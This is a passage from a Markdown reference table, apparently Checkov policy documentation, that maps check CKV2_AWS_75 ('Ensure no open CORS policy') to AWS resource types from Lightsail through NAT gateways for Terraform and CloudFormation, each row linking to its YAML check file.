[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4179 | CKV2_AWS_75 | resource | aws_lightsail_static_ip_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4180 | CKV2_AWS_75 | resource | aws_lightsail_static_ip_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4181 | CKV2_AWS_75 | resource | aws_load_balancer_backend_server_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4182 | CKV2_AWS_75 | resource | aws_load_balancer_backend_server_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4183 | CKV2_AWS_75 | resource | aws_load_balancer_listener_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4184 | CKV2_AWS_75 | resource | aws_load_balancer_listener_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4185 | CKV2_AWS_75 | resource | aws_load_balancer_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4186 | CKV2_AWS_75 | resource | aws_load_balancer_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4187 | CKV2_AWS_75 | resource | aws_location_geofence_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4188 | CKV2_AWS_75 | resource | aws_location_geofence_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4189 | CKV2_AWS_75 | resource | aws_location_map | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4190 | CKV2_AWS_75 | resource | aws_location_map | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4191 | CKV2_AWS_75 | resource | aws_location_place_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4192 | CKV2_AWS_75 | resource | aws_location_place_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4193 | CKV2_AWS_75 | resource | aws_location_route_calculator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4194 | CKV2_AWS_75 | resource | aws_location_route_calculator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4195 | CKV2_AWS_75 | resource | aws_location_tracker | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4196 | CKV2_AWS_75 | resource | aws_location_tracker | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4197 | CKV2_AWS_75 | resource | aws_location_tracker_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4198 | CKV2_AWS_75 | resource | aws_location_tracker_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4199 | CKV2_AWS_75 | resource | aws_m2_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4200 | CKV2_AWS_75 | resource | aws_m2_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4201 | CKV2_AWS_75 | resource | aws_m2_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4202 | CKV2_AWS_75 | resource | aws_m2_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4203 | CKV2_AWS_75 | resource | aws_m2_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4204 | CKV2_AWS_75 | resource | aws_m2_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4205 | CKV2_AWS_75 | resource | aws_macie2_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4206 | CKV2_AWS_75 | resource | aws_macie2_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4207 | CKV2_AWS_75 | resource | aws_macie2_classification_export_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4208 | CKV2_AWS_75 | resource | aws_macie2_classification_export_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4209 | CKV2_AWS_75 | resource | aws_macie2_classification_job | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4210 | CKV2_AWS_75 | resource | aws_macie2_classification_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4211 | CKV2_AWS_75 | resource | aws_macie2_custom_data_identifier | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4212 | CKV2_AWS_75 | resource | aws_macie2_custom_data_identifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4213 | CKV2_AWS_75 | resource | aws_macie2_findings_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4214 | CKV2_AWS_75 | resource | aws_macie2_findings_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4215 | CKV2_AWS_75 | resource | aws_macie2_invitation_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4216 | CKV2_AWS_75 | resource | aws_macie2_invitation_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4217 | CKV2_AWS_75 | resource | aws_macie2_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4218 | CKV2_AWS_75 | resource | aws_macie2_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4219 | CKV2_AWS_75 | resource | aws_macie2_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4220 | CKV2_AWS_75 | resource | aws_macie2_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4221 | CKV2_AWS_75 | resource | aws_macie_member_account_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4222 | CKV2_AWS_75 | resource | aws_macie_member_account_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4223 | CKV2_AWS_75 | resource | aws_macie_s3_bucket_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4224 | CKV2_AWS_75 | resource | aws_macie_s3_bucket_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4225 | CKV2_AWS_75 | resource | aws_main_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4226 | CKV2_AWS_75 | resource | aws_main_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4227 | CKV2_AWS_75 | resource | aws_media_convert_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4228 | CKV2_AWS_75 | resource | aws_media_convert_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4229 | CKV2_AWS_75 | resource | aws_media_package_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4230 | CKV2_AWS_75 | resource | aws_media_package_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4231 | CKV2_AWS_75 | resource | aws_media_packagev2_channel_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4232 | CKV2_AWS_75 | resource | aws_media_packagev2_channel_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4233 | CKV2_AWS_75 | resource | aws_media_store_container | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4234 | CKV2_AWS_75 | resource | aws_media_store_container | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4235 | CKV2_AWS_75 | resource | aws_media_store_container_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4236 | CKV2_AWS_75 | resource | aws_media_store_container_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4237 | CKV2_AWS_75 | resource | aws_medialive_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4238 | CKV2_AWS_75 | resource | aws_medialive_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4239 | CKV2_AWS_75 | resource | aws_medialive_input | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4240 | CKV2_AWS_75 | resource | aws_medialive_input | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4241 | CKV2_AWS_75 | resource | aws_medialive_input_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4242 | CKV2_AWS_75 | resource | aws_medialive_input_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4243 | CKV2_AWS_75 | resource | aws_medialive_multiplex | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4244 | CKV2_AWS_75 | resource | aws_medialive_multiplex | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4245 | CKV2_AWS_75 | resource | aws_medialive_multiplex_program | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4246 | CKV2_AWS_75 | resource | aws_medialive_multiplex_program | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4247 | CKV2_AWS_75 | resource | aws_memorydb_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4248 | CKV2_AWS_75 | resource | aws_memorydb_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4249 | CKV2_AWS_75 | resource | aws_memorydb_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4250 | CKV2_AWS_75 | resource | aws_memorydb_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4251 | CKV2_AWS_75 | resource | aws_memorydb_multi_region_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4252 | CKV2_AWS_75 | resource | aws_memorydb_multi_region_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4253 | CKV2_AWS_75 | resource | aws_memorydb_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4254 | CKV2_AWS_75 | resource | aws_memorydb_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4255 | CKV2_AWS_75 | resource | aws_memorydb_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4256 | CKV2_AWS_75 | resource | aws_memorydb_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4257 | CKV2_AWS_75 | resource | aws_memorydb_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4258 | CKV2_AWS_75 | resource | aws_memorydb_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4259 | CKV2_AWS_75 | resource | aws_memorydb_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4260 | CKV2_AWS_75 | resource | aws_memorydb_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4261 | CKV2_AWS_75 | resource | aws_mq_broker | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4262 | CKV2_AWS_75 | resource | aws_mq_broker | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4263 | CKV2_AWS_75 | resource | aws_mq_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4264 | CKV2_AWS_75 | resource | aws_mq_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4265 | CKV2_AWS_75 | resource | aws_msk_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4266 | CKV2_AWS_75 | resource | aws_msk_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4267 | CKV2_AWS_75 | resource | aws_msk_cluster_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4268 | CKV2_AWS_75 | resource | aws_msk_cluster_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4269 | CKV2_AWS_75 | resource | aws_msk_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4270 | CKV2_AWS_75 | resource | aws_msk_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4271 | CKV2_AWS_75 | resource | aws_msk_replicator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4272 | CKV2_AWS_75 | resource | aws_msk_replicator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4273 | CKV2_AWS_75 | resource | aws_msk_scram_secret_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4274 | CKV2_AWS_75 | resource | aws_msk_scram_secret_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4275 | CKV2_AWS_75 | resource | aws_msk_serverless_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4276 | CKV2_AWS_75 | resource | aws_msk_serverless_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4277 | CKV2_AWS_75 | resource | aws_msk_single_scram_secret_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4278 | CKV2_AWS_75 | resource | aws_msk_single_scram_secret_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4279 | CKV2_AWS_75 | resource | aws_msk_vpc_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4280 | CKV2_AWS_75 | resource | aws_msk_vpc_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4281 | CKV2_AWS_75 | resource | aws_mskconnect_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4282 | CKV2_AWS_75 | resource | aws_mskconnect_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4283 | CKV2_AWS_75 | resource | aws_mskconnect_custom_plugin | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4284 | CKV2_AWS_75 | resource | aws_mskconnect_custom_plugin | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4285 | CKV2_AWS_75 | resource | aws_mskconnect_worker_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4286 | CKV2_AWS_75 | resource | aws_mskconnect_worker_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4287 | CKV2_AWS_75 | resource | aws_mwaa_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4288 | CKV2_AWS_75 | resource | aws_mwaa_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4289 | CKV2_AWS_75 | resource | aws_nat_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4290 | CKV2_AWS_75 | resource | aws_nat_gateway | Ensure no open CORS policy | Cloudformation | 